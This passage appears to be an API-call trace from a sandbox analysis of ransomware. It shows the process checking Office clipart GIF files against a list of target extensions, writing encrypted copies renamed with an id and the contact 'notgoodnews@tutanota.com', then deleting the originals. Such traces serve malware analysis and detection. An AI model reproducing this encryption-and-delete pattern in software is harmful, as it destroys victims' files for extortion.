"c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 1 [0073.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0073.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0073.504] lstrlenW (lpString=".doc") returned 4 [0073.504] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0073.504] lstrlenW (lpString=".docx") returned 5 [0073.504] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0073.504] lstrlenW (lpString=".pdf") returned 4 [0073.504] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0073.504] lstrlenW (lpString=".xls") returned 4 [0073.504] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0073.504] lstrlenW (lpString=".xlsx") returned 5 [0073.504] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0073.504] lstrlenW (lpString=".ppt") returned 4 [0073.504] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0073.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0073.504] lstrlenW (lpString=".zip") returned 4 [0073.504] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0073.504] lstrlenW (lpString=".rar") returned 4 [0073.504] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0073.504] lstrlenW (lpString=".bz2") returned 4 [0073.504] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0073.504] lstrlenW (lpString=".7z") returned 3 [0073.504] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0073.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0073.504] lstrlenW (lpString=".dbf") returned 4 [0073.504] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0073.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0073.504] lstrlenW (lpString=".1cd") returned 4 [0073.504] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0073.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0073.504] lstrlenW (lpString=".jpg") returned 4 [0073.505] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0073.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0073.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0073.505] lstrlenW (lpString=".doc") returned 4 [0073.505] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0073.505] lstrlenW (lpString=".docx") returned 5 [0073.505] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0073.505] lstrlenW (lpString=".pdf") returned 4 [0073.505] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0073.505] lstrlenW (lpString=".xls") returned 4 [0073.505] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0073.505] lstrlenW (lpString=".xlsx") returned 5 [0073.505] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0073.505] lstrlenW (lpString=".ppt") returned 4 [0073.505] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0073.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0073.505] lstrlenW (lpString=".zip") returned 4 [0073.505] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0073.505] lstrlenW (lpString=".rar") returned 4 [0073.505] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0073.505] lstrlenW (lpString=".bz2") returned 4 [0073.505] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0073.505] lstrlenW (lpString=".7z") returned 3 [0073.505] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0073.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0073.506] lstrlenW (lpString=".dbf") returned 4 [0073.506] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0073.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0073.506] lstrlenW (lpString=".1cd") returned 4 [0073.506] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0073.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0073.506] lstrlenW (lpString=".jpg") returned 4 [0073.506] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0073.506] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0073.506] lstrlenW (lpString="AG00004_.GIF") returned 12 [0073.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0073.509] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=9024) returned 1 [0073.509] CloseHandle (hObject=0x344) returned 1 [0073.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 0x220 [0073.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0073.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0073.509] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.509] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0073.510] GetLastError () returned 0x0 [0073.510] ReadFile (in: hFile=0x344, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x2340, lpOverlapped=0x0) returned 1 [0073.511] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x2350, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x2350, lpOverlapped=0x0) returned 1 [0073.512] ReadFile (in: hFile=0x344, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0073.512] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0073.513] SetEndOfFile (hFile=0x37c) returned 1 [0073.513] CloseHandle (hObject=0x37c) returned 1 [0073.514] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.514] SetEndOfFile (hFile=0x344) returned 1 [0073.515] CloseHandle (hObject=0x344) returned 1 [0073.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0073.515] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 1 [0073.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0073.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0073.515] lstrlenW (lpString=".doc") returned 4 [0073.515] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0073.515] lstrlenW (lpString=".docx") returned 5 [0073.515] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0073.515] lstrlenW (lpString=".pdf") returned 4 [0073.515] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0073.515] lstrlenW (lpString=".xls") returned 4 [0073.515] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0073.515] lstrlenW (lpString=".xlsx") returned 5 [0073.516] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0073.516] lstrlenW (lpString=".ppt") returned 4 [0073.516] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0073.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0073.516] lstrlenW (lpString=".zip") returned 4 [0073.516] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0073.516] lstrlenW (lpString=".rar") returned 4 [0073.516] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0073.516] lstrlenW (lpString=".bz2") returned 4 [0073.516] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0073.516] lstrlenW (lpString=".7z") returned 3 [0073.516] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0073.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0073.516] lstrlenW (lpString=".dbf") returned 4 [0073.516] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0073.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0073.516] lstrlenW (lpString=".1cd") returned 4 [0073.516] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0073.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0073.516] lstrlenW (lpString=".jpg") returned 4 [0073.516] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0073.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0073.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0073.516] lstrlenW (lpString=".doc") returned 4 [0073.516] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0073.516] lstrlenW (lpString=".docx") returned 5 [0073.516] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0073.516] lstrlenW (lpString=".pdf") returned 4 [0073.516] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0073.516] lstrlenW (lpString=".xls") returned 4 [0073.516] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0073.516] lstrlenW (lpString=".xlsx") returned 5 [0073.516] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0073.516] lstrlenW (lpString=".ppt") returned 4 [0073.516] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0073.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0073.517] lstrlenW (lpString=".zip") returned 4 [0073.517] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0073.517] lstrlenW (lpString=".rar") returned 4 [0073.517] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0073.517] lstrlenW (lpString=".bz2") returned 4 [0073.517] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0073.517] lstrlenW (lpString=".7z") returned 3 [0073.517] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0073.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0073.517] lstrlenW (lpString=".dbf") returned 4 [0073.517] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0073.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0073.517] lstrlenW (lpString=".1cd") returned 4 [0073.517] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0073.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0073.517] lstrlenW (lpString=".jpg") returned 4 [0073.517] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0073.517] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0073.517] lstrlenW (lpString="AG00011_.GIF") returned 12 [0073.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0073.929] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=7216) returned 1 [0073.929] CloseHandle (hObject=0x350) returned 1 [0073.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 0x220 [0073.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0073.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0073.929] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.930] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0073.930] GetLastError () returned 0x0 [0073.930] ReadFile (in: hFile=0x350, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x1c30, lpOverlapped=0x0) returned 1 [0073.931] WriteFile (in: hFile=0x384, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x1c40, lpOverlapped=0x0) returned 1 [0073.932] ReadFile (in: hFile=0x350, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0073.932] WriteFile (in: hFile=0x384, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0073.933] SetEndOfFile (hFile=0x384) returned 1 [0073.933] CloseHandle (hObject=0x384) returned 1 [0073.934] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.934] SetEndOfFile (hFile=0x350) returned 1 [0073.935] CloseHandle (hObject=0x350) returned 1 [0073.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0073.935] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 1 [0073.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0073.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0073.935] lstrlenW (lpString=".doc") returned 4 [0073.935] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0073.935] lstrlenW (lpString=".docx") returned 5 [0073.935] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0073.935] lstrlenW (lpString=".pdf") returned 4 [0073.935] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0073.936] lstrlenW (lpString=".xls") returned 4 [0073.936] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0073.936] lstrlenW (lpString=".xlsx") returned 5 [0073.936] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0073.936] lstrlenW (lpString=".ppt") returned 4 [0073.936] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0073.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0073.936] lstrlenW (lpString=".zip") returned 4 [0073.936] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0073.936] lstrlenW (lpString=".rar") returned 4 [0073.936] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0073.936] lstrlenW (lpString=".bz2") returned 4 [0073.936] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0073.936] lstrlenW (lpString=".7z") returned 3 [0073.936] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0073.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0073.936] lstrlenW (lpString=".dbf") returned 4 [0073.936] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0073.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0073.936] lstrlenW (lpString=".1cd") returned 4 [0073.936] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0073.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0073.936] lstrlenW (lpString=".jpg") returned 4 [0073.936] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0073.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0073.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0073.936] lstrlenW (lpString=".doc") returned 4 [0073.936] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0073.936] lstrlenW (lpString=".docx") returned 5 [0073.936] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0073.936] lstrlenW (lpString=".pdf") returned 4 [0073.936] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0073.936] lstrlenW (lpString=".xls") returned 4 [0073.936] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0073.936] lstrlenW (lpString=".xlsx") returned 5 [0073.937] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0073.937] lstrlenW (lpString=".ppt") returned 4 [0073.937] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0073.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0073.937] lstrlenW (lpString=".zip") returned 4 [0073.937] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0073.937] lstrlenW (lpString=".rar") returned 4 [0073.937] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0073.937] lstrlenW (lpString=".bz2") returned 4 [0073.937] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0073.937] lstrlenW (lpString=".7z") returned 3 [0073.937] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0073.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0073.937] lstrlenW (lpString=".dbf") returned 4 [0073.937] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0073.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0073.937] lstrlenW (lpString=".1cd") returned 4 [0073.937] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0073.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0073.937] lstrlenW (lpString=".jpg") returned 4 [0073.937] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0073.937] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0073.937] lstrlenW (lpString="AG00052_.GIF") returned 12 [0073.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0073.939] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=7686) returned 1 [0073.939] CloseHandle (hObject=0x350) returned 1 [0073.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 0x220 [0073.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0073.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0073.939] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.939] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0073.940] GetLastError () returned 0x0 [0073.940] ReadFile (in: hFile=0x350, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x1e06, lpOverlapped=0x0) returned 1 [0073.941] WriteFile (in: hFile=0x384, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x1e10, lpOverlapped=0x0) returned 1 [0073.942] ReadFile (in: hFile=0x350, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0073.942] WriteFile (in: hFile=0x384, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0073.942] SetEndOfFile (hFile=0x384) returned 1 [0073.942] CloseHandle (hObject=0x384) returned 1 [0073.943] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.943] SetEndOfFile (hFile=0x350) returned 1 [0073.944] CloseHandle (hObject=0x350) returned 1 [0073.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0073.945] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 1 [0073.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0073.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0073.945] lstrlenW (lpString=".doc") returned 4 [0073.945] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0073.945] lstrlenW (lpString=".docx") returned 5 [0073.945] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0073.945] lstrlenW (lpString=".pdf") returned 4 [0073.945] lstrcmpiW 